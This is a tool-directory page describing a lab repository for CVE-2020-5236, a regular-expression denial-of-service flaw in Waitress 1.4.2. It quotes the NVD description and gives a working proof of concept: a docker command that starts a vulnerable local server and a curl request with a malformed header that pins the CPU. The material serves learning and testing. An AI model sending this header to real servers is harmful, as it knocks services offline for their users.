Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-5236 — Waitress 1.4.2 ReDoS - CVE-2020-5236 (Blog Sample Code) | Kitploit
Tools/GitHubGitHub/motikan2010/cve-2020-5236
Vulnerability AnalysisWeb SecurityLearning & EducationLabs & Practice
GitHubmotikan2010/cve-2020-5236

CVE-2020-5236

Waitress 1.4.2 ReDoS - CVE-2020-5236 (Blog Sample Code)

View RepositoryWebsite
4216 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Waitress 1.4.2 ReDoS - CVE-2020-5236

Waitress version 1.4.2 allows a DOS attack When waitress receives a header that contains invalid characters. When a header like "Bad-header: xxxxxxxxxxxxxxx\x10" is received, it will cause the regular expression engine to catastrophically backtrack causing the process to use 100% CPU time and blocking any other interactions. This allows an attacker to send a single request with an invalid header and take the service offline.

by NVD

Using

Run vulnerable server

root@kitploit:~
$ docker run --rm --name waitress -v "$PWD/src:/src" -p "8080:8080" -it python:3.7-slim python /src/server.py

PoC

root@kitploit:~
$ curl "http://127.0.0.1:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"

Show cpu usage for server. Exec "docker stats waitress".

↓ Exec PoC

Download Tool

References

  • NVD - CVE-2020-5236
  • Catastrophic backtracking in regex allows Denial of Service · Advisory · Pylons/waitress